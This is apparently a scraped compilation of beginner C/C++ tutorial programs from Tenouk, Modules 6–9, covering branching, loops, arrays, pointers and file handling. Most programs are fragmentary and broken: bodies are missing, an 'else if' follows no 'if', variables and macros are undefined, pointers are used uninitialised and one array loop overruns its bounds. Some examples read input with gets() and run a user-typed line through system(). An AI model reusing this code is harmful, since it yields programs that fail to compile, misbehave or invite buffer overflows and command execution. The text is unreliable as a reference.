system("pause");
return 0;
}
-----------------------------------------------------------------------------------
//Reading integers
#include <stdio.h>
#include <stdlib.h>
int main()
{
int a, b, c, d, e, f, g;
system("pause");
return 0;
}
------------------------------------------------------------------------------------
int main()
{
float a, b, c;
system("pause");
return 0;
}
------------------------------------------------------------------------------------
int main()
{
char x, y[20];
system("pause");
return 0;
}
--------------------------------------------------------------------------------------
int main()
{
int x, y;
system("pause");
return 0;
}
--------------------------------------------------------------------------------------
#include <stdlib.h>
int main()
{
int month1, day1, year1, month2, day2, year2;
system("pause");
return 0;
}
---------------------------------------------------------------------------------------
int main()
{
---------------------------------------------------------------------------------------
int main()
{
char * string = "pointer testing";
system("pause");
return 0;
}
----------------------------------------------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
int main()
{
int x, y;
system("pause");
return 0;
}
------------------------------------------------------------------------------------------
int main()
{
int x, y;
system("pause");
return 0;
}
--------------------------------------------------------------------------------------------
int main()
{
int mark, HighMark = -1;
system("pause");
return 0;
---------------------------------------------------------------------------------------------
int main()
{
cout<<"Enter your age: ";
int myAge;
cin>>myAge;
cout<<"Enter your friend's age: ";
int friendAge;
cin>>friendAge;
system("pause");
return 0;
}
---------------------------------------------------------------------------------------------
void main(void)
{
int q, s = 0, t = 0;
q = 10*(s + t);
q = 10*(s + t);
system("pause");
}
---------------------------------------------------------------------------------------------
float simple_calc(float);
void main(void)
{
float x = 3, y[4], sum=0;
int i;
system("pause");
}
float simple_calc(float x)
{
float p;
p = (x * x);
return p;
}
--------------------------------------------VC++/VC++ .Net---------------------------------------------------
#include <cstdio>
main()
{
printf("Printing floating-point numbers with\n");
printf("floating-point conversion specifiers.\n");
printf("Compare the output with source code\n\n");
printf("1. %e\n", 1234567.89);
printf("2. %e\n", +1234567.89);
--------------------------------------------------GCC-----------------------------------------------------
int main()
{
int *ptr;
/*pointer variable*/
int x = 12345, y;
ptr = &x;
=============================MODULE6=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================
#include <stdio.h>
int main()
{
float rate = 5.0;
int hours = 25;
---------------------------------------------------------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
int main()
{
int job_code;
double housing_allowance, entertainment_allowance, car_allowance;
cout<<"--THE BENEFITS--\n";
cout<<"Car allowance: "<<car_allowance<<endl;
cout<<"Housing allowance: "<<housing_allowance<<endl;
cout<<"Entertainment allowance: "<<entertainment_allowance<<endl;
}
//other than 1
else
{
car_allowance = 100.00;
housing_allowance = 400.00;
entertainment_allowance = 150.00;
cout<<"--THE BENEFITS--\n";
cout<<"Car allowance: "<<car_allowance<<endl;
cout<<"Housing allowance: "<<housing_allowance<<endl;
cout<<"Entertainment allowance: "<<entertainment_allowance<<endl;
}
system("pause");
return 0;
}
---------------------------------------------------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
int main()
{
char job_title;
int years_served, no_of_pub;
cin>>no_of_pub;
if(job_title == 'T')
{
if(years_served > 15)
if(no_of_pub > 10)
cout<<"\nPromote to lecturer";
else
cout<<"\nMore publications required";
else
cout<<"\nMore service required";
}
else if(job_title == 'L')
{
if(years_served > 10)
if(no_of_pub > 5)
cout<<"\nPromote to Assoc professor";
else
cout<<"\nMore publications required";
else
cout<<"\nMore service required";
}
else if(job_title == 'A')
{
if(years_served > 5)
if(no_of_pub > 5)
cout<<"\nPromote to professor";
else
cout<<"\nMore publications required";
else
cout<<"\nMore service required";
}
cout<<"\n";
system("pause");
return 0;
}
-------------------------------------------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
int main()
{
int mark;
system("pause");
return 0;
}
--------------------------------------------------------------------------------------
#include <iostream.h>
#include <stdlib.h>
int main()
{
float amount;
char transaction_code;
cin>>transaction_code;
if (transaction_code == 'D')
{
cout<<"\nDeposit transaction";
cout<<"\nEnter amount: ";
cin>>amount;
cout<<"\nPROCESSING....Please Wait";
cout<<"\nAmount deposited: "<<amount;
cout<<"\n---THANK YOU!/TERIMA KASIH!---";
}
else
if (transaction_code == 'W')
{
cout<<"\nWithdrawal transaction";
cout<<"\nEnter amount: ";
cin>>amount;
cout<<"\nPROCESSING....Please Wait";
cout<<"\nAmount withdrawn: "<<amount;
cout<<"\n---THANK YOU!/TERIMA KASIH!---";
}
else
if (transaction_code == 'T')
{
cout<<"\nTransfer transaction";
system("pause");
return 0;
}
---------------------------------------------------------------------------------
int main()
{
char selection;
cout<<"\n Menu";
cout<<"\n========";
cout<<"\n A - Append";
cout<<"\n M - Modify";
cout<<"\n D - Delete";
cout<<"\n X - Exit";
cout<<"\n Enter selection: ";
cin>>selection;
switch(selection)
{
case 'A' : {cout<<"\n To append a record\n";}
break;
case 'M' : {cout<<"\n To modify a record";}
break;
case 'D' : {cout<<"\n To delete a record";}
break;
case 'X' : {cout<<"\n To exit the menu";}
break;
//Other than A, M, D and X...
default : cout<<"\n Invalid selection";
//No break in the default case
}
cout<<"\n";
system("pause");
return 0;
}
-----------------------------------------------------------------------------------
void main()
{
int count;
system("pause");
}
-----------------------------------------------------------------------------------
int main()
{
//variables for counter…
int i, j;
system("pause");
return 0;
}
-------------------------------------------------------------------------------------
//function prototype
void DrawBox(int, int);
void main()
{
//row = 10, column = 25...
//function call
DrawBox(10, 25);
}
system("pause");
}
--------------------------------------------------------------------------------------
int main()
{
int calculate;
system("pause");
return 0;
}
--------------------------------------------------------------------------------------
//while condition...
while(count<5)
{
//set the initial condition...
number = 0;
system("pause");
}
--------------------------------------------------------------------------------------
int main()
{
int selection;
do
{
cout<<"\n Menu"<<"\n";
cout<<"\n 0. Exit";
cout<<"\n 1. Append";
cout<<"\n 2. Delete";
cout<<"\n 3. Modify";
cout<<"\n\n Enter selection: ";
cin>>selection;
}while((selection > 0) && (selection < 4));
//true for 1, 2 and 3 ONLY, then repeat
//false for other numbers including 0, then stop...
//the do loop is repeated if the while expression is true.
system("pause");
return 0;
}
------------------------------------------------------------------------------------
int get_menu_choice(void);
void main()
{
int choice;
choice = get_menu_choice();
system("pause");
}
int get_menu_choice(void)
{
int selection = 0;
do
{
printf("1 - Add a record");
printf("\n2 - Change a record");
printf("\n3 - Delete a record");
printf("\n4 - Quit");
printf("\nEnter a selection: ");
scanf("%d", &selection );
} while ((selection < 1) || (selection > 4));
return selection;
}
----------------------------------------------------------------------------------
void main()
{
//declare storage for input, an array
//and counter variable
char buffer[81];
int ctr;
continue;
system("pause");
}
-----------------------------------------------------------------------------------
void main()
{
int n;
start: ;
puts("Enter a number between 0 and 10: ");
scanf("%d", &n);
else if (n == 0)
goto location0;
else if (n == 1)
goto location1;
else
goto location2;
location0: ;
{
puts("You entered 0.");
}
goto end;
location1: ;
{
puts("You entered 1.");
}
goto end;
location2: ;
{
puts("You entered something between 2 and 10.");
}
end: ;
system("pause");
}
----------------------------------------------------------------------------------
#include <stdlib.h>
#include <stdio.h>
//function prototypes...
void cleanup1(void);
void cleanup2(void);
void main()
{
atexit(cleanup2);
atexit(cleanup1);
//end of main
}
void cleanup1(void)
{
//dummy cleanup.....
printf("\nThis is the demonstration...\n");
printf("cleanup....\n");
printf("You computer is SHUTTING DOWN!!!");
getchar();
}
void cleanup2(void)
{
//another dummy cleanup...
printf("\nAnother cleanup...");
-----------------------------------------------------------------------------------
//function prototypes
void cleanup(void);
void delay(void);
void main()
{
int reply;
if(reply == 1)
exit(EXIT_SUCCESS);
//function definition...
void cleanup(void)
{
puts("\nPreparing for exit");
delay();
}
//function definition
void delay(void)
{
long x;
for(x = 0; x < DELAY; x++)
;
system("pause");
}
-----------------------------------------------------------------------------------
void main()
{
//Declare a buffer to hold input
char input[40];
while (1)
{
//get the user command
puts("\nInput the desired DOS command, blank to exit");
gets(input);
----------------------------------------------------------------------------------
int main()
{
y1=5.0;
y2=7.0;
system("pause");
return 0;
}
-------------------------------------------------------------------------------------
int main()
{
float y1, y2, avgy;
//function prototype...
//display-avg() is declared to be of type void
void display_avg(float);
y1 = 5.0;
y2 = 7.0;
system("pause");
return 0; //return the value 0 to the environment
}
-------------------------------------------------------------------------------------
int main()
{
int i, j;
system("pause");
return 0;
}
-------------------------------------------------------------------------------------
int main()
{
int x;
-------------------------------------------------------------------------------------
int main()
{
int x;
system("pause");
return 0;
}
------------------------------------------------------------------------------------
int main()
{
int year;
double amount, principal = 1000.0, rate = 0.05;
system("pause");
return 0;
}
-------------------------------------------------------------------------------------
int main()
{
int grade;
int aCount=0,bCount=0,cCount=0,dCount=0,eCount=0,fCount = 0;
system("pause");
return 0;
}
----------------------------------------------VC++/VC++ .Net--------------------------------------------------
int main()
{
int year;
double amount, principal = 1000.0, rate = 0.05;
--------------------------------------------GCC on fedora----------------------------------------------------
#include <stdio.h>
int main()
{
char job_title;
int years_served, no_of_pub;
if(job_title == 'A')
if(years_served > 5)
if(no_of_pub > 7)
printf("\nCan be promoted to Professor\n");
else
printf("\nMore publications required lol! \n");
else
printf("\nMore service required lol\n");
else
printf("\nMust become Associate Professor first\n");
return 0;
}
-------------------------------------------------------------------------------------------
/*-----forloop.c-----------*/
/*-----First triangle-------*/
#include <stdio.h>
int main()
{
int i, j, k, l;
printf("Triangle lol!\n");
---------------------------------------------------------------------------------------------
/*-----------whilelol.c---------------*/
/*Demonstrates a simple while statement*/
#include <stdio.h>
int main()
{
int calculate, sum = 0;
-----------------------------------------------------------------------------------------------
int main()
{
//Declare a buffer to hold input
char input[40];
while (1)
{
//get the user command
puts("\nInput the command, blank to exit");
gets(input);
//Exit if a blank line was entered
if(input[0] == '\0')
exit(0);
//execute the command
system(input);
}
return 0;
}
=================================MODULE7===================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================
#include <iostream.h>
#include <stdlib.h>
//replace every n occurrences with 7
#define n 7
int main()
{
int i, total = 0, y[n] = {6,9,2,4,5,23,12};
system("pause");
return 0;
}
--------------------------------------------------------------------------------------
//using pointer
#include <iostream.h>
#include <stdlib.h>
#define n 7
//function prototype
int get_total(int*, int);
int main()
{
int total, y[n]={6,9,2,4,5,23,12};
system("pause");
return 0;
}
//Function definition
int get_total(int *ptr, int x)
{
int i, total = 0;
//**********gccarray.C or gccarray.cpp************
//program to find the total values of an
//************FeDoRa 3, g++ x.x.x**********
//array y by passing an array to a function
//using pointer
#include <iostream>
#define n 7
using namespace std;
//function prototype
int get_total(int*, int);
int main()
{
int total, y[n]={6,9,2,4,5,23,12};
//Function definition
int get_total(int *ptr, int x)
{
int i, total = 0;
//do the looping for array elements...
for(i=0; i<x; i++)
{
//displays the array content, pointed by pointer...
cout<<*(ptr+i)<<" ";
//do the summing up of the array elements...
total += *(ptr+i); //total=total + *(ptr+i);
}
//return the result to the calling program...
return total;
}
--------------------------------------------------------------------------------
int main()
{
int i;
float small, balance[n]={100.00,40.00,-30.00,400.00,60.00,-25.00,-24.00,0.00, 3.24,0.50};
small = balance[0];
system("pause");
return 0;
}
---------------------------------------------------------------------------------
int main()
{
int temp, i, j, n, list[maxsize];
---------------------------------------------------------------------------------
int main()
{
int i, j;
int x[m][n]={{10,25,33}, {21,32,43},{20,42,51}};
system("pause");
return 0;
}
----------------------------------------------------------------------------------
int main()
{
int i, j, total = 0;
//4x5 or [4][5] array variable with initial values...
int q[m][n]={{4,5,6,2,12},{10,25,33,22,11},{21,32,43,54,65},{3,2,1,5,6}};
float average;
system("pause");
return 0;
}
--------------------------------------------------------------------------------
int main()
{
int i, j;
int x[m][n]={{4,5,6,2,12},{10,25,33,22,11},{21,32,43,54,65},{3,2,1,5,6}};
system("pause");
return 0;
}
----------------------------------------------------------------------------------
int main()
{
int i, j, k;
//first matrix...
int x[m][c] = {{1,2},{3,4},{5,6}};
//second matrix...
int y[c][n] = {{7,8,9,10},{11,12,13,14}};
//for storing the matrix product result...
int z[m][n];
system("pause");
return 0;
--------------------------------------------------------------------------------
int main()
{
//declare and initialize the array named a
//with size SIZE
int a[SIZE] = {1,3,5,4,7,2,99,16,45,67,89,45};
//declare two normal variables
int i, total = 0;
system("pause");
return 0;
-------------------------------------------------------------------------------
int main()
{
//declare and initialize an array named n
//with size SIZE...
int n[SIZE] = {19, 3, 15, 7, 11, 9, 13, 5, 17, 1};
int i, j;
system("pause");
return 0;
}
-------------------------------------------------------------------------------
int main()
{
int a[SIZE] = {34,6,41,58,0,12,89,-2,45,25};
int i, pass, hold;
--------------------------------------------------------------------------------------
//function prototype
void printArray(int [][3]);
int main()
{
//declare 3 array with initial values...
int array1[2][3] = {{1,2,3}, {4,5,6}},
array2[2][3] = {{1,2,3},{4,5}},
array3[2][3] = {{1,2}, {4}};
-----------------------------------------------------------------------------------
#include <string.h>
int main()
{
//declare two arrays named tname with 1-Dimension
//and name with 2-Dimension
char tname[20], name[20][20];
//normal variables...
int i, j, n;
//inner for loop, read row by row set outer for loop...
for(i=0; i<n-1; i++)
//innermost for loop, read column by column of the characters...
for(j = i+1; j<n; j++)
//set the condition...
//strcmp - compare the string standard library function
//do the sorting...
if(strcmp(name[i], name[j])>0)
{
//strcpy - copy the strings...
//compare and swap...
strcpy(tname, name[i]);
strcpy(name[i], name[j]);
strcpy(name[j], tname);
}
cout<<"\nSorted names:\n";
for (i =0; i<n; i++)
cout<<"\n"<<name[i];
cout<<endl;
system("pause");
return 0;
}
-------------------------------------------------VC++/VC++ .Net------------------------------------------------------
int main()
{
int a[SIZE] = {-4,6,3,-20,0,1,77,-2,42,-10};
int i, pass, hold;
---------------------------------------------------------------------------------------------------
//The iostream(.h) header file actually for Standard C++...in Microsoft and Borland it
//is used during the standard development...so used <iostream> for C++...not in C...
//in C use stdio.h....read more in http://www.tenouk.com/Module23.html
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
----------------------------------GCC on Linux/Fedora---------------------------------------
/************array3.c**************/
/*program to find the smallest number in an array named balance*/
/*simple search function*/
#include <stdio.h>
#define n 7
int main()
{
int i;
int small, balance[n];
small = balance[0];
/*Another loop do the array element comparing...*/
for(i=1; i<=n; i++) /*check until i=n*/
{
if(small > balance[i])
small = balance[i];
}
printf("\nComparing...");
/*display the result...*/
printf("The smallest value in the given array is = %d \n", small);
return 0;
}
-------------------------------------------------------------------------------------
/************array1.c*****************/
/*Simple sorting program that sort a list of n*/
/*integer numbers, entered by the user (ascending)*/
#include <stdio.h>
#define maxsize 100
int main()
{
int temp, i, j, n, list[maxsize];
-------------------------------------------------------------------------------------
/**********************array2.c********************/
/*Printing 3x3 array's subscript and their element*/
#include <stdio.h>
#define m 3
#define n 3
int main()
{
int i, j;
int x[m][n];
===============================MODULE8=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
int *m;
system("pause");
return 0;
}
-----------------------------------------------------------------------------------
void main()
{
//declares an integer variable and two pointers variables
int num = 10, *point_one, *point_two;
cout<<"Pointers variables..."<<endl;
cout<<"*point_one = "<<*point_one<<"\n";
cout<<"*point_two = "<<*point_two<<"\n";
cout<<"\nNormal variable..."<<endl;
cout<<"num = "<<num<<"\n";
system("pause");
}
-------------------------------------------------------------------------------------
void main()
{
//Declare and initialize an int variable
int var = 34;
//Declare a pointer to int variable
int *ptr;
//Initialize ptr to point to variable var
ptr = &var;
system("pause");
}
--------------------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
int main()
{
int *thepointer;
thepointer = NULL;
system("pause");
return 0;
}
--------------------------------------------------------------------------------------
void main()
{
//an array variable of type char, sized 79
char sentence[80];
----------------------------------------------------------------------------------------
void main()
{
//declare three arrays and a counter variable
int i[10], x;
float f[10];
double d[10];
printf("\n|================================");
printf("======================|\n");
printf("\nLegends:");
printf("\nel.- element, add - address\n");
printf("\ndifferent pc, shows different addresses\n");
system("pause");
}
---------------------------------------------------------------------------------------------
#define MAX 10
void main()
{
//declare and initialize an integer array
int array1[MAX] = {0,1,2,3,4,5,6,7,8,9};
//declare a pointer to int and an int variable
int *ptr1, count;
//declare and initialize a float array
float array2[MAX] = {0.0,0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9};
//declare a pointer to float
float *ptr2;
system("pause");
}
-----------------------------------------------------------------------------------------------
void main()
{
//declare and initialize the array variables...
int i,*arrayPtr[7], var[7]={3,4,4,2,1,3,1};
cout<<endl;
system("pause");
}
//function prototype...
//arrayPtr is now passed to parameter q,
//q[i] now points to var[i]
void viewArray(int *q[])
{
int j;
----------------------------------------------------------------------------------------------
return 0;
}
----------------------------------------------------------------------------------------------
// pointer to pointer...
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
int **theptr;
int *anotherptr;
system("pause");
return 0;
}
-----------------------------------------------------------------------------------------------
int somedisplay();
int main()
{
int (*func_ptr)();
int somedisplay()
{
printf("\n--Displaying some texts--\n");
return 0;
}
-------------------------------------------------------------------------------------------------
#include <stdio.h>
/* function prototypes */
void funct1(int);
void funct2(int);
int main(void)
{
FuncType *func_ptr;
/* function definitions */
void funct1 (testarg)
{printf("funct1 got an argument of %d\n", testarg);}
------------------------------------------------------------------------------------------------
/* functions' prototypes */
int fun1(int, double);
int fun2(int, double);
int fun3(int, double);
/* an array of a function pointers */
int (*p[3]) (int, double);
int main()
{
int i;
return 0;
}
/* functions' definition */
int fun1(int a, double b)
{
printf("a = %d b = %f", a, b);
return 0;
}
--------------------------------------------------------------------------------------------------
// pointer to a function
#include <iostream.h>
#include <stdlib.h>
// function prototypes...
float minimum(float, float);
// (*ptr) is a pointer to function of type float
float (*ptr)(float, float);
void main()
{
float x1, x2, small;
// Assigning address of minimum() function to ptr
ptr = minimum;
system("pause");
}
------------------------------------------------------------------------------------------------------
#include <stdio.h>
/* void pointer */
int func(void *thePtr);
int main()
{
/* assigning a string to the pointer */
char *theStr = "abcd1234";
//function call
func(theStr);
return 0;
}
----------------------------------------------------------------------------------------------------
void main()
{
//declare and initialize two
//float variables
float var1 = 58.98;
float var2 = 70.44;
//declare a float pointer variable
float *ptr_var;
//prints 58.98
cout<<"\nThe first value is(var1) "<<*ptr_var;
cout<<"\nThe address of the first data is "<<ptr_var<<"\n";
cout<<"\nThen let the same pointer (*ptr_var)";
cout<<"\npoint to other address...\n";
//prints 70.44
cout<<"\nThe second value is(var2) "<<*ptr_var;
cout<<"\nThe address of the second data is "<<ptr_var<<endl;
}
-----------------------------------------------------------------------------------------------------
void main()
{
int x = 4, y = 7;
//function prototype...
void addcon(int*, int*);
cout<<"\nAdd 10...";
cout<<"\nNew value of x = "<<x;
cout<<"\nminus 10...";
cout<<"\nNew value of y = "<<y<<endl;
}
//function definition
//parameters are pointers...
void addcon(int *px, int *py)
{
//Adds 10 to the data stored in memory pointed to by px
*px = *px + 10;
//minus 10 to the data stored in memory pointed to by py
*py = *py - 10;
}
---------------------------------------------------------------------------------------------------------
void main()
{
//declare and initialize an array nums
int nums[] = {92,81,70,69,58};
-------------------------------------------------------------------------------------------------------
void main()
{
float temper[40], sum = 0.0, *ptr;
int num, day = 0;
do
{
cout<<"Enter temperature for day "<<++day;
//prompt for input user input...
cout<<"\n(0-Terminate, Enter-Proceed): ";
//store in an array, pointed by ptr...
cin>>*ptr;
} while ((*ptr++) > 0);
//Test if data entered is 0,
//then point to the next array position
-------------------------------------------------------------------------------------------------------
void main()
{
int i, offset, b[] = {10, 20, 30, 40};
//set bPtr to point to array b
int *bPtr = b;
---------------------------------------------VC++/VC++ .Net-----------------------------------------------------
void main()
{
//declare and initialize two
//float variables
double var1 = 58.98;
double var2 = 70.44;
//declare a float pointer variable
double *ptr_var;
//prints 58.98
cout<<"The first value is(var1) "<<*ptr_var;
cout<<"\nThe address of the first data is "<<ptr_var<<"\n";
cout<<"\nThen let the same pointer (*ptr_var)";
cout<<"\npoint to other address...\n";
//prints 70.44
cout<<"\nThe second value is(var2) "<<*ptr_var;
cout<<"\nThe address of the second data is "<<ptr_var<<endl;
}
--------------------------------------------GCC on Linux/Fedora-----------------------------------------------
int main()
{
int i, offset, b[] = {10, 20, 30, 40};
//set bPtr to point to array b
int *bPtr = b;
------------------------------------------G++ Linux/Fedora--------------------------------------------------------
/////////////////funcref.cpp//////////////////
//Illustrates a function that receives addresses
//of variables and then alters their contents
#include <iostream>
using namespace std;
int main()
{
int x = 4, y = 7;
//function prototype...
void addcon(int*, int*);
cout<<"\nAdd 10...";
cout<<"\nNew value of x = "<<x;
cout<<"\nminus 10...";
cout<<"\nNew value of y = "<<y<<endl;
return 0;
}
//function definition
//parameters are pointers...
void addcon(int *px, int *py)
{
//Adds 10 to the data stored in memory pointed to by px
*px = *px + 10;
//minus 10 to the data stored in memory pointed to by py
*py = *py - 10;
}
=============================MODULE9=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================
------------------------------testtwo.txt--------------------------------------------------
int main()
{
//declare two file pointers...
FILE *fptr1, *fptr2;
//define the two files name...
char filename1[] = "testone.txt";
char filename2[] = "testtwo.txt";
int reval = SUCCESS;
}
//For Borland if compiled using its IDE…
system("pause");
return reval;
}
------------------------------------testfour.txt-------------------------------------
-------------------------------------------------------------------------------------
int main(void)
{
FILE *fptr1, *fptr2;
//file testhree.txt is located at the root, c:
//you can put this file at any location provided
//you provide the full path, same for testfour.txt
char filename1[] = "c:\\testhree.txt";
char filename2[] = "c:\\testfour.txt";
char reval = SUCCESS;
{
printf("Problem, cannot open %s for writing.\n", filename1);
reval = FAIL;
}
-----------------------------------------testsix.txt----------------------------------------------
--------------------------------------------------------------------------------------------------
int main(void)
{
FILE *fptr1, *fptr2;
//define the filenames...
//the files location is at c:\Temp
char filename1[] = "c:\\Temp\\testfive.txt";
char filename2[] = "c:\\Temp\\testsix.txt";
int reval = SUCCESS;
-----------------------------------------tesseven.txt------------------------------------------------------
------------------------------------------------------------------------------------------------
int main(void)
{
FILE *fptr;
char filename[] = "c:\\Temp\\tesseven.txt";
int reval = SUCCESS;
else
{
//PtrSeek() function call…
PtrSeek(fptr);
//close the file stream…
if(fclose(fptr)==0)
printf("%s successfully closed.\n", filename);
}
//for Borland...
system("pause");
return reval;
}
offset1 = PtrTell(fptr);
DataRead(fptr);
offset2 = PtrTell(fptr);
DataRead(fptr);
offset3 = PtrTell(fptr);
DataRead(fptr);
offset4 = PtrTell(fptr);
DataRead(fptr);
--------------------------------------------------------------------------------------------
//functions prototype...
void DataWrite(FILE *fout);
void DataRead(FILE *fin);
int ErrorMsg(char *str);
int main(void)
{
FILE *fptr;
//binary type files...
char filename[] = "c:\\Temp\\teseight.bin";
int reval = SUCCESS;
---------------------------------------testcal.txt---------------------------------------
23 12 33 10 4 6 44 31 7 50
-----------------------------------------------------------------------------------------
int main(void)
{
int value, total = 0, count = 0;
/*fscanf*/
printf("\nCalculate the total...\n");
while(EOF != fscanf(fileptrIn, "%i", &value))
{
total += value;
++count;
}/*end of while loop*/
if(fclose(fileptrIn) == 0)
printf("%s closed successfully\n", filenameIn);
if(fclose(fileptrOut) == 0)
printf("%s closed successfully\n", filenameOut);
return 0;
}
---------------------------------------------------------------------------------------------
int main(void)
{
//declare and define a pointer to string...
char *str[STR_NUM] = {
"Redirecting a standard stream to the text file.",
"These 5 lines of text will be redirected",
"so many things you can do if you understand the",
"concept, fundamental idea - try this one!",
"--------------DONE--------------------------"};
StrPrint(str);
//create file if not exist and open for writing...
//if exist, discard the previous content...
if(freopen(filename, "w", stdout) == NULL)
{
reval = ErrorMsg(filename);
}
else
{
//call StrPrint() function...
StrPrint(str);
//close the standard output...
fclose(stdout);
}
return reval;
}
--------------------------------------------------------------------------------------
void main()
{
//declare an array to store file name...
char filename[80];
---------------------------------------------------------------------------------------
void main()
{
char oldname[80], newname[80];
if(rename(oldname, newname) == 0)
{
printf("%s has been rename %s.\n", oldname, newname);
}
else
{
fprintf(stderr, "An error has occurred renaming %s.\n", oldname);
}
system("pause");
}
--------------------------------------------------------------------------------------------
//Copying a file
#include <stdio.h>
#include <stdlib.h>
void main()
{
char source[80], destination[80];
if(file_copy(source, destination) == 0)
puts("Copy operation successful");
else
fprintf(stderr, "Error during copy operation");
system("pause");
}
if(!feof(fold))
fputc(c, fnew);
else
break;
}
fclose(fnew);
fclose(fold);
return 0;
}
-------------------------------testfour.txt------------------------------------
------------------LINUX LOR!------------------------
------------FEDORA 3, gcc x.x.x--------------------
OPENING, READING, WRITING one line of characters
----------------------------------------------------
This is file testfour.txt. This file's content will
be read line by line of characters till no more line
of character found. Then, it will be output to the
screen and also will be copied to file testhree.txt.
Check the content of testhree.txt file...
----------------------------------------------------
------------------HAVE A NICE DAY-------------------
-------------------------------------------------------------------------------
/***************readline.c************
int main(void)
{
FILE *fptr1, *fptr2;
/*file testhree.txt is located at current directory.
you can put this file at any location provided
you provide the full path, same for testfour.txt*/
fputs(buff, fout);
/*write to screen...*/
printf("%s", buff);
}
}
----------------------------------------------------------------------------------------------
////////////rwbinary.c///////////
/////FEDORA 3, gcc x.x.x/////
//Reading, writing, rewind and binary data
#include <stdio.h>
//functions prototype...
void DataWrite(FILE *fout);
void DataRead(FILE *fin);
